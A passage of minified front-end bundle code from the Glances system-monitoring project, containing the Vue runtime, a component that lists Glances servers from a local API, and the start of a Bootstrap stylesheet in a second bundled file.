r&&Yu(n,r),Su>0&&!o&&ku&&(6&n.shapeFlag?ku[ku.indexOf(t)]=n:ku.push(n)),n.patchFlag=-2,n}if(fp(t)&&(t=t.__vccOpts),e){e=function(t){return t?Zs(t)||zc(t)?Po({},t):t:null}(e);let{class:t,style:r}=e;t&&!Vo(t)&&(e.class=_a(t)),Xo(r)&&(Zs(r)&&!Uo(r)&&(r=Po({},r)),e.style=ba(r))}return Lu(t,e,r,n,i,Vo(t)?1:yu(t)?128:Ql(t)?64:Xo(t)?4:qo(t)?2:0,o,!0)}function Pu(t,e,r=!1,n=!1){const{props:i,ref:o,patchFlag:a,children:s,transition:l}=t,c=e?function(...t){const e={};for(let r=0;r<t.length;r++){const n=t[r];for(const t in n)if(\"class\"===t)e.class!==n.class&&(e.class=_a([e.class,n.class]));else if(\"style\"===t)e.style=ba([e.style,n.style]);else if(Qo(t)){const r=e[t],i=n[t];!i||r===i||Uo(r)&&r.includes(i)||(e[t]=r?[].concat(r,i):i)}else\"\"!==t&&(e[t]=n[t])}return e}(i||{},e):i,u={__v_isVNode:!0,__v_skip:!0,type:t.type,props:c,key:c&&Mu(c),ref:e&&e.ref?r&&o?Uo(o)?o.concat(Ru(e)):[o,Ru(e)]:Ru(e):o,scopeId:t.scopeId,slotScopeIds:t.slotScopeIds,children:s,target:t.target,targetStart:t.targetStart,targetAnchor:t.targetAnchor,staticCount:t.staticCount,shapeFlag:t.shapeFlag,patchFlag:e&&t.type!==xu?-1===a?16:16|a:a,dynamicProps:t.dynamicProps,dynamicChildren:t.dynamicChildren,appContext:t.appContext,dirs:t.dirs,transition:l,component:t.component,suspense:t.suspense,ssContent:t.ssContent&&Pu(t.ssContent),ssFallback:t.ssFallback&&Pu(t.ssFallback),placeholder:t.placeholder,el:t.el,anchor:t.anchor,ctx:t.ctx,ce:t.ce};return l&&n&&Wl(u,l.clone(u)),u}function Wu(t=\" \",e=0){return Qu(wu,null,t,e)}function Ku(t=\"\",e=!1){return e?(Eu(),Fu(_u,null,t)):Qu(_u,null,t)}function Hu(t){return null==t||\"boolean\"==typeof t?Qu(_u):Uo(t)?Qu(xu,null,t.slice()):Nu(t)?Uu(t):Qu(wu,null,String(t))}function Uu(t){return null===t.el&&-1!==t.patchFlag||t.memo?t:Pu(t)}function Yu(t,e){let r=0;const{shapeFlag:n}=t;if(null==e)e=null;else if(Uo(e))r=16;else if(\"object\"==typeof e){if(65&n){const r=e.default;return void(r&&(r._c&&(r._d=!1),Yu(t,r()),r._c&&(r._d=!0)))}{r=32;const n=e._;n||zc(e)?3===n&&kl&&(1===kl.slots._?e._=1:(e._=2,t.patchFlag|=1024)):e._ctx=kl}}else qo(e)?(e={default:e,_ctx:kl},r=32):(e=String(e),64&n?(r=16,e=[Wu(e)]):r=8);t.children=e,t.shapeFlag|=r}function Ju(t,e,r,n=null){cl(t,e,7,[r,n])}const Zu=Nc();let qu=0;function Vu(t,e,r){const n=t.type,i=(e?e.appContext:t.appContext)||Zu,o={uid:qu++,vnode:t,type:n,parent:e,appContext:i,root:null,next:null,subTree:null,effect:null,update:null,job:null,scope:new Na(!0),render:null,proxy:null,exposed:null,exposeProxy:null,withProxy:null,provides:e?e.provides:Object.create(i.provides),ids:e?e.ids:[\"\",0,0],accessCache:null,renderCache:[],components:null,directives:null,propsOptions:ru(n,i),emitsOptions:Pc(n,i),emit:null,emitted:null,propsDefaults:jo,inheritAttrs:n.inheritAttrs,ctx:jo,data:jo,props:jo,attrs:jo,slots:jo,refs:jo,setupState:jo,setupContext:null,suspense:r,suspenseId:r?r.pendingId:0,asyncDep:null,asyncResolved:!1,isMounted:!1,isUnmounted:!1,isDeactivated:!1,bc:null,c:null,bm:null,m:null,bu:null,u:null,um:null,bum:null,da:null,a:null,rtg:null,rtc:null,ec:null,sp:null};return o.ctx={_:o},o.root=e?e.root:o,o.emit=Qc.bind(null,o),t.ce&&t.ce(o),o}let zu=null;const Xu=()=>zu||kl;let $u,tp;{const t=Aa(),e=(e,r)=>{let n;return(n=t[e])||(n=t[e]=[]),n.push(r),t=>{n.length>1?n.forEach(e=>e(t)):n[0](t)}};$u=e(\"__VUE_INSTANCE_SETTERS__\",t=>zu=t),tp=e(\"__VUE_SSR_SETTERS__\",t=>ap=t)}const ep=t=>{const e=zu;return $u(t),t.scope.on(),()=>{t.scope.off(),$u(e)}},rp=()=>{zu&&zu.scope.off(),$u(null)};function np(t){return 4&t.vnode.shapeFlag}let ip,op,ap=!1;function sp(t,e=!1,r=!1){e&&tp(e);const{props:n,children:i}=t.vnode,o=np(t);Xc(t,n,o,e),((t,e,r)=>{const n=t.slots=Vc();if(32&t.vnode.shapeFlag){const t=e._;t?(cu(n,e,r),r&&fa(n,\"_\",t,!0)):su(e,n)}else e&&lu(t,e)})(t,i,r||e);const a=o?function(t,e){const r=t.type;0;t.accessCache=Object.create(null),t.proxy=new Proxy(t.ctx,vc),!1;const{setup:n}=r;if(n){za();const r=t.setupContext=n.length>1?pp(t):null,i=ep(t),o=ll(n,t,0,[t.props,r]),a=$o(o);if(Xa(),i(),!a&&!t.sp||Zl(t)||Kl(t),a){if(o.then(rp,rp),e)return o.then(r=>{lp(t,r,e)}).catch(e=>{ul(e,t,0)});t.asyncDep=o}else lp(t,o,e)}else cp(t,e)}(t,e):void 0;return e&&tp(!1),a}function lp(t,e,r){qo(e)?t.type.__ssrInlineRender?t.ssrRender=e:t.render=e:Xo(e)&&(t.setupState=el(e)),cp(t,r)}function cp(t,e,r){const n=t.type;if(!t.render){if(!e&&ip&&!n.render){const e=n.template||kc(t).template;if(e){0;const{isCustomElement:r,compilerOptions:i}=t.appContext.config,{delimiters:o,compilerOptions:a}=n,s=Po(Po({isCustomElement:r,delimiters:o},i),a);n.render=ip(e,s)}}t.render=n.render||Ro,op&&op(t)}{const e=ep(t);za();try{_c(t)}finally{Xa(),e()}}}const up={get:(t,e)=>(ls(t,0,\"\"),t[e])};function pp(t){const e=e=>{t.exposed=e||{}};return{attrs:new Proxy(t.attrs,up),slots:t.slots,emit:t.emit,expose:e}}function dp(t){return t.exposed?t.exposeProxy||(t.exposeProxy=new Proxy(el((e=t.exposed,!Ho(e,\"__v_skip\")&&Object.isExtensible(e)&&fa(e,\"__v_skip\",!0),e)),{get:(e,r)=>r in e?e[r]:r in bc?bc[r](t):void 0,has:(t,e)=>e in t||e in bc})):t.proxy;var e}function mp(t,e=!0){return qo(t)?t.displayName||t.name:t.name||e&&t.__name}function fp(t){return qo(t)&&\"__vccOpts\"in t}const hp=(t,e)=>{const r=function(t,e,r=!1){let n,i;return qo(t)?n=t:(n=t.get,i=t.set),new rl(n,i,r)}(t,0,ap);return r};const gp=\"3.5.30\";\n/**\n* @vue/runtime-dom v3.5.30\n* (c) 2018-present Yuxi (Evan) You and Vue contributors\n* @license MIT\n**/\nlet Ap;const bp=\"undefined\"!=typeof window&&window.trustedTypes;if(bp)try{Ap=bp.createPolicy(\"vue\",{createHTML:t=>t})}catch(t){}const yp=Ap?t=>Ap.createHTML(t):t=>t,vp=\"undefined\"!=typeof document?document:null,xp=vp&&vp.createElement(\"template\"),wp={insert:(t,e,r)=>{e.insertBefore(t,r||null)},remove:t=>{const e=t.parentNode;e&&e.removeChild(t)},createElement:(t,e,r,n)=>{const i=\"svg\"===e?vp.createElementNS(\"http://www.w3.org/2000/svg\",t):\"mathml\"===e?vp.createElementNS(\"http://www.w3.org/1998/Math/MathML\",t):r?vp.createElement(t,{is:r}):vp.createElement(t);return\"select\"===t&&n&&null!=n.multiple&&i.setAttribute(\"multiple\",n.multiple),i},createText:t=>vp.createTextNode(t),createComment:t=>vp.createComment(t),setText:(t,e)=>{t.nodeValue=e},setElementText:(t,e)=>{t.textContent=e},parentNode:t=>t.parentNode,nextSibling:t=>t.nextSibling,querySelector:t=>vp.querySelector(t),setScopeId(t,e){t.setAttribute(e,\"\")},insertStaticContent(t,e,r,n,i,o){const a=r?r.previousSibling:e.lastChild;if(i&&(i===o||i.nextSibling))for(;e.insertBefore(i.cloneNode(!0),r),i!==o&&(i=i.nextSibling););else{xp.innerHTML=yp(\"svg\"===n?`<svg>${t}</svg>`:\"mathml\"===n?`<math>${t}</math>`:t);const i=xp.content;if(\"svg\"===n||\"mathml\"===n){const t=i.firstChild;for(;t.firstChild;)i.appendChild(t.firstChild);i.removeChild(t)}e.insertBefore(i,r)}return[a?a.nextSibling:e.firstChild,r?r.previousSibling:e.lastChild]}},_p=Symbol(\"_vtc\");Boolean;const Cp=Symbol(\"_vod\"),Ip=Symbol(\"_vsh\"),kp={name:\"show\",beforeMount(t,{value:e},{transition:r}){t[Cp]=\"none\"===t.style.display?\"\":t.style.display,r&&e?r.beforeEnter(t):Ep(t,e)},mounted(t,{value:e},{transition:r}){r&&e&&r.enter(t)},updated(t,{value:e,oldValue:r},{transition:n}){!e!=!r&&(n?e?(n.beforeEnter(t),Ep(t,!0),n.enter(t)):n.leave(t,()=>{Ep(t,!1)}):Ep(t,e))},beforeUnmount(t,{value:e}){Ep(t,e)}};function Ep(t,e){t.style.display=e?t[Cp]:\"none\",t[Ip]=!e}const Bp=Symbol(\"\");const Sp=/(?:^|;)\\s*display\\s*:/;const Dp=/\\s*!important$/;function Op(t,e,r){if(Uo(r))r.forEach(r=>Op(t,e,r));else if(null==r&&(r=\"\"),e.startsWith(\"--\"))t.setProperty(e,r);else{const n=function(t,e){const r=Fp[e];if(r)return r;let n=sa(e);if(\"filter\"!==n&&n in t)return Fp[e]=n;n=ua(n);for(let r=0;r<Tp.length;r++){const i=Tp[r]+n;if(i in t)return Fp[e]=i}return e}(t,e);Dp.test(r)?t.setProperty(ca(n),r.replace(Dp,\"\"),\"important\"):t[n]=r}}const Tp=[\"Webkit\",\"Moz\",\"ms\"],Fp={};const Np=\"http://www.w3.org/1999/xlink\";function jp(t,e,r,n,i,o=Ia(e)){n&&e.startsWith(\"xlink:\")?null==r?t.removeAttributeNS(Np,e.slice(6,e.length)):t.setAttributeNS(Np,e,r):null==r||o&&!ka(r)?t.removeAttribute(e):t.setAttribute(e,o?\"\":zo(r)?String(r):r)}function Mp(t,e,r,n,i){if(\"innerHTML\"===e||\"textContent\"===e)return void(null!=r&&(t[e]=\"innerHTML\"===e?yp(r):r));const o=t.tagName;if(\"value\"===e&&\"PROGRESS\"!==o&&!o.includes(\"-\")){const n=\"OPTION\"===o?t.getAttribute(\"value\")||\"\":t.value,i=null==r?\"checkbox\"===t.type?\"on\":\"\":String(r);return n===i&&\"_value\"in t||(t.value=i),null==r&&t.removeAttribute(e),void(t._value=r)}let a=!1;if(\"\"===r||null==r){const n=typeof t[e];\"boolean\"===n?r=ka(r):null==r&&\"string\"===n?(r=\"\",a=!0):\"number\"===n&&(r=0,a=!0)}try{t[e]=r}catch(t){0}a&&t.removeAttribute(i||e)}function Rp(t,e,r,n){t.addEventListener(e,r,n)}const Lp=Symbol(\"_vei\");function Qp(t,e,r,n,i=null){const o=t[Lp]||(t[Lp]={}),a=o[e];if(n&&a)a.value=n;else{const[r,s]=function(t){let e;if(Gp.test(t)){let r;for(e={};r=t.match(Gp);)t=t.slice(0,t.length-r[0].length),e[r[0].toLowerCase()]=!0}const r=\":\"===t[2]?t.slice(3):ca(t.slice(2));return[r,e]}(e);if(n){const a=o[e]=function(t,e){const r=t=>{if(t._vts){if(t._vts<=r.attached)return}else t._vts=Date.now();cl(function(t,e){if(Uo(e)){const r=t.stopImmediatePropagation;return t.stopImmediatePropagation=()=>{r.call(t),t._stopped=!0},e.map(t=>e=>!e._stopped&&t&&t(e))}return e}(t,r.value),e,5,[t])};return r.value=t,r.attached=Kp(),r}(n,i);Rp(t,r,a,s)}else a&&(!function(t,e,r,n){t.removeEventListener(e,r,n)}(t,r,a,s),o[e]=void 0)}}const Gp=/(?:Once|Passive|Capture)$/;let Pp=0;const Wp=Promise.resolve(),Kp=()=>Pp||(Wp.then(()=>Pp=0),Pp=Date.now());const Hp=t=>111===t.charCodeAt(0)&&110===t.charCodeAt(1)&&t.charCodeAt(2)>96&&t.charCodeAt(2)<123;\"undefined\"!=typeof HTMLElement&&HTMLElement;const Up=Po({patchProp:(t,e,r,n,i,o)=>{const a=\"svg\"===i;\"class\"===e?function(t,e,r){const n=t[_p];n&&(e=(e?[e,...n]:[...n]).join(\" \")),null==e?t.removeAttribute(\"class\"):r?t.setAttribute(\"class\",e):t.className=e}(t,n,a):\"style\"===e?function(t,e,r){const n=t.style,i=Vo(r);let o=!1;if(r&&!i){if(e)if(Vo(e))for(const t of e.split(\";\")){const e=t.slice(0,t.indexOf(\":\")).trim();null==r[e]&&Op(n,e,\"\")}else for(const t in e)null==r[t]&&Op(n,t,\"\");for(const t in r)\"display\"===t&&(o=!0),Op(n,t,r[t])}else if(i){if(e!==r){const t=n[Bp];t&&(r+=\";\"+t),n.cssText=r,o=Sp.test(r)}}else e&&t.removeAttribute(\"style\");Cp in t&&(t[Cp]=o?n.display:\"\",t[Ip]&&(n.display=\"none\"))}(t,r,n):Qo(e)?Go(e)||Qp(t,e,0,n,o):(\".\"===e[0]?(e=e.slice(1),1):\"^\"===e[0]?(e=e.slice(1),0):function(t,e,r,n){if(n)return\"innerHTML\"===e||\"textContent\"===e||!!(e in t&&Hp(e)&&qo(r));if(\"spellcheck\"===e||\"draggable\"===e||\"translate\"===e||\"autocorrect\"===e)return!1;if(\"sandbox\"===e&&\"IFRAME\"===t.tagName)return!1;if(\"form\"===e)return!1;if(\"list\"===e&&\"INPUT\"===t.tagName)return!1;if(\"type\"===e&&\"TEXTAREA\"===t.tagName)return!1;if(\"width\"===e||\"height\"===e){const e=t.tagName;if(\"IMG\"===e||\"VIDEO\"===e||\"CANVAS\"===e||\"SOURCE\"===e)return!1}if(Hp(e)&&Vo(r))return!1;return e in t}(t,e,n,a))?(Mp(t,e,n),t.tagName.includes(\"-\")||\"value\"!==e&&\"checked\"!==e&&\"selected\"!==e||jp(t,e,n,a,0,\"value\"!==e)):t._isVueCE&&(function(t,e){const r=t._def.props;if(!r)return!1;const n=sa(e);return Array.isArray(r)?r.some(t=>sa(t)===n):Object.keys(r).some(t=>sa(t)===n)}(t,e)||t._def.__asyncLoader&&(/[A-Z]/.test(e)||!Vo(n)))?Mp(t,sa(e),n,0,e):(\"true-value\"===e?t._trueValue=n:\"false-value\"===e&&(t._falseValue=n),jp(t,e,n,a))}},wp);let Yp;function Jp(){return Yp||(Yp=function(t){return pu(t)}(Up))}const Zp=(...t)=>{const e=Jp().createApp(...t);const{mount:r}=e;return e.mount=t=>{const n=Vp(t);if(!n)return;const i=e._component;qo(i)||i.render||i.template||(i.template=n.innerHTML),1===n.nodeType&&(n.textContent=\"\");const o=r(n,!1,qp(n));return n instanceof Element&&(n.removeAttribute(\"v-cloak\"),n.setAttribute(\"data-v-app\",\"\")),o},e};function qp(t){return t instanceof SVGElement?\"svg\":\"function\"==typeof MathMLElement&&t instanceof MathMLElement?\"mathml\":void 0}function Vp(t){if(Vo(t)){return document.querySelector(t)}return t}const zp={key:0,id:\"loading-page\",class:\"container-fluid\"},Xp={key:1},$p={class:\"title\"},td={class:\"table table-sm table-borderless margin-bottom table-hover\"},ed=[\"onClick\"],rd={scope:\" row\"},nd={class:\"\"},id={class:\"\"},od={class:\"\"};const ad={data:()=>({servers:void 0}),computed:{serversListLoaded(){return void 0!==this.servers}},created(){this.updateServersList()},mounted(){const t=window.__GLANCES__||{},e=isFinite(t[\"refresh-time\"])?parseInt(t[\"refresh-time\"],10):void 0;this.interval=setInterval(this.updateServersList,1e3*e)},unmounted(){clearInterval(this.interval)},methods:{updateServersList(){fetch(\"api/4/serverslist\",{method:\"GET\"}).then(t=>t.json()).then(t=>this.servers=t)},formatNumber:t=>\"number\"!=typeof t||isNaN(t)?t:t.toFixed(1),goToGlances(t){\"rpc\"===t.protocol?alert(\"You just click on a Glances RPC server.\\nPlease open a terminal and enter the following command line:\\n\\nglances -c \"+String(t.ip)+\" -p \"+String(t.port)):window.location.href=\"http://\"+String(t.name)+\":\"+String(t.port)},getDecoration(t,e){if(void 0!==t[e+\"_decoration\"])return t[e+\"_decoration\"].replace(\"_LOG\",\"\").toLowerCase()}}};const sd=(0,r(6262).A)(ad,[[\"render\",function(t,e,r,n,i,o){return o.serversListLoaded?(Eu(),Tu(\"main\",Xp,[Dl(Lu(\"span\",null,[...e[1]||(e[1]=[Lu(\"p\",{class:\"title\"},\"No Glances server available\",-1),Lu(\"br\",null,null,-1),Lu(\"p\",null,\"Glances servers can be defined in the glances.conf file.\",-1),Lu(\"p\",null,\"Glances servers can be detected automaticaly on the same local area network.\",-1)])],512),[[kp,0==i.servers.length]]),Dl(Lu(\"span\",$p,\"One Glances server available\",512),[[kp,1==i.servers.length]]),Dl(Lu(\"span\",{class:\"title\"},Sa(i.servers.length)+\" Glances servers available\",513),[[kp,i.servers.length>1]]),Dl(Lu(\"table\",td,[Lu(\"thead\",null,[Lu(\"tr\",null,[e[2]||(e[2]=Lu(\"th\",{scope:\"col\"},\"NAME\",-1)),e[3]||(e[3]=Lu(\"th\",{scope:\"col\",class:\"\"},\"IP\",-1)),e[4]||(e[4]=Lu(\"th\",{scope:\"col\",class:\"\"},\"STATUS\",-1)),e[5]||(e[5]=Lu(\"th\",{scope:\"col\",class:\"\"},\"PROTOCOL\",-1)),i.servers.length?(Eu(!0),Tu(xu,{key:0},gc(i.servers[0].columns,(t,e)=>(Eu(),Tu(\"th\",{key:e},Sa(t.replace(/_/g,\" \").toUpperCase()),1))),128)):Ku(\"v-if\",!0)])]),Lu(\"tbody\",null,[(Eu(!0),Tu(xu,null,gc(i.servers,(t,e)=>(Eu(),Tu(\"tr\",{key:e,style:{cursor:\"pointer\"},onClick:e=>o.goToGlances(t)},[Lu(\"td\",rd,Sa(t.alias?t.alias:t.name,32),1),Lu(\"td\",nd,Sa(t.ip),1),Lu(\"td\",id,Sa(t.status),1),Lu(\"td\",od,Sa(t.protocol),1),i.servers.length?(Eu(!0),Tu(xu,{key:0},gc(t.columns,(e,r)=>(Eu(),Tu(\"td\",{key:r,class:_a(o.getDecoration(t,e))},Sa(o.formatNumber(t[e])),3))),128)):Ku(\"v-if\",!0)],8,ed))),128))])],512),[[kp,i.servers.length>0]]),Ku(\" DEBUGGING \"),Ku(\" <p>{{ servers }}</p> \")])):(Eu(),Tu(\"div\",zp,[...e[0]||(e[0]=[Lu(\"div\",{class:\"loader\"},\"Glances Central Browser is loading...\",-1)])]))}]]);var ld=r(2543),cd=r(4728),ud=r.n(cd);function pd(t,e){return dd(t=8*Math.round(t),e)+\"b\"}function dd(t,e){if(e=e||!1,isNaN(parseFloat(t))||!isFinite(t)||0==t)return t;const r=[\"Y\",\"Z\",\"E\",\"P\",\"T\",\"G\",\"M\",\"K\"],n={Y:12089258196146292e8,Z:11805916207174113e5,E:0x1000000000000000,P:0x4000000000000,T:1099511627776,G:1073741824,M:1048576,K:1024};for(var i=0;i<r.length;i++){var o=r[i],a=t/n[o];if(a>1){var s=0;return a<10?s=2:a<100&&(s=1),e?s=\"MK\"==o?0:(0,ld.min)([1,s]):\"K\"==o&&(s=0),parseFloat(a).toFixed(s)+o}}return t.toFixed(0)}function md(t){return void 0===t||\"\"===t?\"?\":t}function fd(t,e,r){return e=e||0,r=r||\" \",String(t).padStart(e,r)}function hd(t,e){return\"function\"!=typeof t.slice&&(t=String(t)),t.slice(0,e)}function gd(t,e,r=!0){return e=e||8,t.length>e?r?t.substring(0,e-1)+\"_\":\"_\"+t.substring(t.length-e+1):t}function Ad(t){if(void 0===t)return t;var e=function(t){var e=document.createElement(\"div\");return e.innerText=t,e.innerHTML}(t),r=e.replace(/\\n/g,\"<br>\");return ud()(r)}function bd(t,e){return void 0===t||isNaN(t)?\"-\":new Intl.NumberFormat(\"en-US\",\"number\"==typeof e?{maximumFractionDigits:e}:e).format(t)}function yd(t){for(var e=0,r=0;r<t.length;r++)e+=1e3*t[r];return e}function vd(t){var e=yd(t),r=new Date(e),n=Math.floor((r-new Date(r.getUTCFullYear(),0,0))/1e3/60/60/24);return{hours:r.getUTCHours()+24*(n-1),minutes:r.getUTCMinutes(),seconds:r.getUTCSeconds(),milliseconds:parseInt(\"\"+r.getUTCMilliseconds()/10)}}function xd(t){return Object.entries(t).map(([t,e])=>`${t}: ${e}`).join(\" / \")}const wd=Zp(sd);wd.config.globalProperties.$filters=e,wd.mount(\"#browser\")})()})();"
  },
  {
    "path": "glances/outputs/static/public/glances.js",
    "content": "(()=>{var t={1392(t,e,r){\"use strict\";r.d(e,{A:()=>a});var n=r(1601),i=r.n(n),o=r(6314),s=r.n(o)()(i());s.push([t.id,':root,[data-bs-theme=light]{--bs-blue: #0d6efd;--bs-indigo: #6610f2;--bs-purple: #6f42c1;--bs-pink: #d63384;--bs-red: #dc3545;--bs-orange: #fd7e14;--bs-yellow: #ffc107;--bs-green: #198754;--bs-teal: #20c997;--bs-cyan: #0dcaf0;--bs-black: #000;--bs-white: #fff;--bs-gray: #6c757d;--bs-gray-dark: #343a40;--bs-gray-100: #f8f9fa;--bs-gray-200: #e9ecef;--bs-gray-300: #dee2e6;--bs-gray-400: #ced4da;--bs-gray-500: #adb5bd;--bs-gray-600: #6c757d;--bs-gray-700: #495057;--bs-gray-800: #343a40;--bs-gray-900: #212529;--bs-primary: #0d6efd;--bs-secondary: #6c757d;--bs-success: #198754;--bs-info: #0dcaf0;--bs-warning: #ffc107;--bs-danger: #dc3545;--bs-light: #f8f9fa;--bs-dark: #212529;--bs-primary-rgb: 13, 110, 253;--bs-secondary-rgb: 108, 117, 125;--bs-success-rgb: 25, 135, 84;--bs-info-rgb: 13, 202, 240;--bs-warning-rgb: 255, 193, 7;--bs-danger-rgb: 220, 53, 69;--bs-light-rgb: 248, 249, 250;--bs-dark-rgb: 33, 37, 41;--bs-primary-text-emphasis: rgb(5.2, 44, 101.2);--bs-secondary-text-emphasis: rgb(43.2, 46.8, 50);--bs-success-text-emphasis: rgb(10, 54, 33.6);--bs-info-text-emphasis: rgb(5.2, 80.8, 96);--bs-warning-text-emphasis: rgb(102, 77.2, 2.8);--bs-danger-text-emphasis: rgb(88, 21.2, 27.6);--bs-light-text-emphasis: #495057;--bs-dark-text-emphasis: #495057;--bs-primary-bg-subtle: rgb(206.6, 226, 254.6);--bs-secondary-bg-subtle: rgb(225.6, 227.4, 229);--bs-success-bg-subtle: rgb(209, 231, 220.8);--bs-info-bg-subtle: rgb(206.6, 244.4, 252);--bs-warning-bg-subtle: rgb(255, 242.6, 205.4);--bs-danger-bg-subtle: rgb(248, 214.6, 217.8);--bs-light-bg-subtle: rgb(251.5, 252, 252.5);--bs-dark-bg-subtle: #ced4da;--bs-primary-border-subtle: rgb(158.2, 197, 254.2);--bs-secondary-border-subtle: rgb(196.2, 199.8, 203);--bs-success-border-subtle: rgb(163, 207, 186.6);--bs-info-border-subtle: rgb(158.2, 233.8, 249);--bs-warning-border-subtle: rgb(255, 230.2, 155.8);--bs-danger-border-subtle: rgb(241, 174.2, 180.6);--bs-light-border-subtle: #e9ecef;--bs-dark-border-subtle: #adb5bd;--bs-white-rgb: 255, 255, 255;--bs-black-rgb: 0, 0, 0;--bs-font-sans-serif: system-ui, -apple-system, \"Segoe UI\", Roboto, \"Helvetica Neue\", \"Noto Sans\", \"Liberation Sans\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\", \"Noto Color Emoji\";--bs-font-monospace: SFMono-Regular, Menlo, Monaco, Consolas, \"Liberation Mono\", \"Courier New\", monospace;--bs-gradient: linear-gradient(180deg, rgba(255, 255, 255, 0.15), rgba(255, 255, 255, 0));--bs-body-font-family: var(--bs-font-sans-serif);--bs-body-font-size:1rem;--bs-body-font-weight: 400;--bs-body-line-height: 1.5;--bs-body-color: #212529;--bs-body-color-rgb: 33, 37, 41;--bs-body-bg: #fff;--bs-body-bg-rgb: 255, 255, 255;--bs-emphasis-color: #000;--bs-emphasis-color-rgb: 0, 0, 0;--bs-secondary-color: rgba(33, 37, 41, 0.75);--bs-secondary-color-rgb: 33, 37, 41;--bs-secondary-bg: #e9ecef;--bs-secondary-bg-rgb: 233, 236, 239;--bs-tertiary-color: rgba(33, 37, 41, 0.5);--bs-tertiary-color-rgb: 33, 37, 41;--bs-tertiary-bg: #f8f9fa;--bs-tertiary-bg-rgb: 248, 249, 250;--bs-heading-color: inherit;--bs-link-color: #0d6efd;--bs-link-color-rgb: 13, 110, 253;--bs-link-decoration: underline;--bs-link-hover-color: rgb(10.4, 88, 202.4);--bs-link-hover-color-rgb: 10, 88, 202;--bs-code-color: #d63384;--bs-highlight-color: #212529;--bs-highlight-bg: rgb(255, 242.6, 205.4);--bs-border-width: 1px;--bs-border-style: solid;--bs-border-color: #dee2e6;--bs-border-color-translucent: rgba(0, 0, 0, 0.175);--bs-border-radius: 0.375rem;--bs-border-radius-sm: 0.25rem;--bs-border-radius-lg: 0.5rem;--bs-border-radius-xl: 1rem;--bs-border-radius-xxl: 2rem;--bs-border-radius-2xl: var(--bs-border-radius-xxl);--bs-border-radius-pill: 50rem;--bs-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.15);--bs-box-shadow-sm: 0 0.125rem 0.25rem rgba(0, 0, 0, 0.075);--bs-box-shadow-lg: 0 1rem 3rem rgba(0, 0, 0, 0.175);--bs-box-shadow-inset: inset 0 1px 2px rgba(0, 0, 0, 0.075);--bs-focus-ring-width: 0.25rem;--bs-focus-ring-opacity: 0.25;--bs-focus-ring-color: rgba(13, 110, 253, 0.25);--bs-form-valid-color: #198754;--bs-form-valid-border-color: #198754;--bs-form-invalid-color: #dc3545;--bs-form-invalid-border-color: #dc3545}[data-bs-theme=dark]{color-scheme:dark;--bs-body-color: #dee2e6;--bs-body-color-rgb: 222, 226, 230;--bs-body-bg: #212529;--bs-body-bg-rgb: 33, 37, 41;--bs-emphasis-color: #fff;--bs-emphasis-color-rgb: 255, 255, 255;--bs-secondary-color: rgba(222, 226, 230, 0.75);--bs-secondary-color-rgb: 222, 226, 230;--bs-secondary-bg: #343a40;--bs-secondary-bg-rgb: 52, 58, 64;--bs-tertiary-color: rgba(222, 226, 230, 0.5);--bs-tertiary-color-rgb: 222, 226, 230;--bs-tertiary-bg: rgb(42.5, 47.5, 52.5);--bs-tertiary-bg-rgb: 43, 48, 53;--bs-primary-text-emphasis: rgb(109.8, 168, 253.8);--bs-secondary-text-emphasis: rgb(166.8, 172.2, 177);--bs-success-text-emphasis: rgb(117, 183, 152.4);--bs-info-text-emphasis: rgb(109.8, 223.2, 246);--bs-warning-text-emphasis: rgb(255, 217.8, 106.2);--bs-danger-text-emphasis: rgb(234, 133.8, 143.4);--bs-light-text-emphasis: #f8f9fa;--bs-dark-text-emphasis: #dee2e6;--bs-primary-bg-subtle: rgb(2.6, 22, 50.6);--bs-secondary-bg-subtle: rgb(21.6, 23.4, 25);--bs-success-bg-subtle: rgb(5, 27, 16.8);--bs-info-bg-subtle: rgb(2.6, 40.4, 48);--bs-warning-bg-subtle: rgb(51, 38.6, 1.4);--bs-danger-bg-subtle: rgb(44, 10.6, 13.8);--bs-light-bg-subtle: #343a40;--bs-dark-bg-subtle: #1a1d20;--bs-primary-border-subtle: rgb(7.8, 66, 151.8);--bs-secondary-border-subtle: rgb(64.8, 70.2, 75);--bs-success-border-subtle: rgb(15, 81, 50.4);--bs-info-border-subtle: rgb(7.8, 121.2, 144);--bs-warning-border-subtle: rgb(153, 115.8, 4.2);--bs-danger-border-subtle: rgb(132, 31.8, 41.4);--bs-light-border-subtle: #495057;--bs-dark-border-subtle: #343a40;--bs-heading-color: inherit;--bs-link-color: rgb(109.8, 168, 253.8);--bs-link-hover-color: rgb(138.84, 185.4, 254.04);--bs-link-color-rgb: 110, 168, 254;--bs-link-hover-color-rgb: 139, 185, 254;--bs-code-color: rgb(230.4, 132.6, 181.2);--bs-highlight-color: #dee2e6;--bs-highlight-bg: rgb(102, 77.2, 2.8);--bs-border-color: #495057;--bs-border-color-translucent: rgba(255, 255, 255, 0.15);--bs-form-valid-color: rgb(117, 183, 152.4);--bs-form-valid-border-color: rgb(117, 183, 152.4);--bs-form-invalid-color: rgb(234, 133.8, 143.4);--bs-form-invalid-border-color: rgb(234, 133.8, 143.4)}*,*::before,*::after{box-sizing:border-box}@media(prefers-reduced-motion: no-preference){:root{scroll-behavior:smooth}}body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:rgba(0,0,0,0)}hr{margin:1rem 0;color:inherit;border:0;border-top:var(--bs-border-width) solid;opacity:.25}h6,.h6,h5,.h5,h4,.h4,h3,.h3,h2,.h2,h1,.h1{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2;color:var(--bs-heading-color)}h1,.h1{font-size:calc(1.375rem + 1.5vw)}@media(min-width: 1200px){h1,.h1{font-size:2.5rem}}h2,.h2{font-size:calc(1.325rem + 0.9vw)}@media(min-width: 1200px){h2,.h2{font-size:2rem}}h3,.h3{font-size:calc(1.3rem + 0.6vw)}@media(min-width: 1200px){h3,.h3{font-size:1.75rem}}h4,.h4{font-size:calc(1.275rem + 0.3vw)}@media(min-width: 1200px){h4,.h4{font-size:1.5rem}}h5,.h5{font-size:1.25rem}h6,.h6{font-size:1rem}p{margin-top:0;margin-bottom:1rem}abbr[title]{text-decoration:underline dotted;cursor:help;text-decoration-skip-ink:none}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul{padding-left:2rem}ol,ul,dl{margin-top:0;margin-bottom:1rem}ol 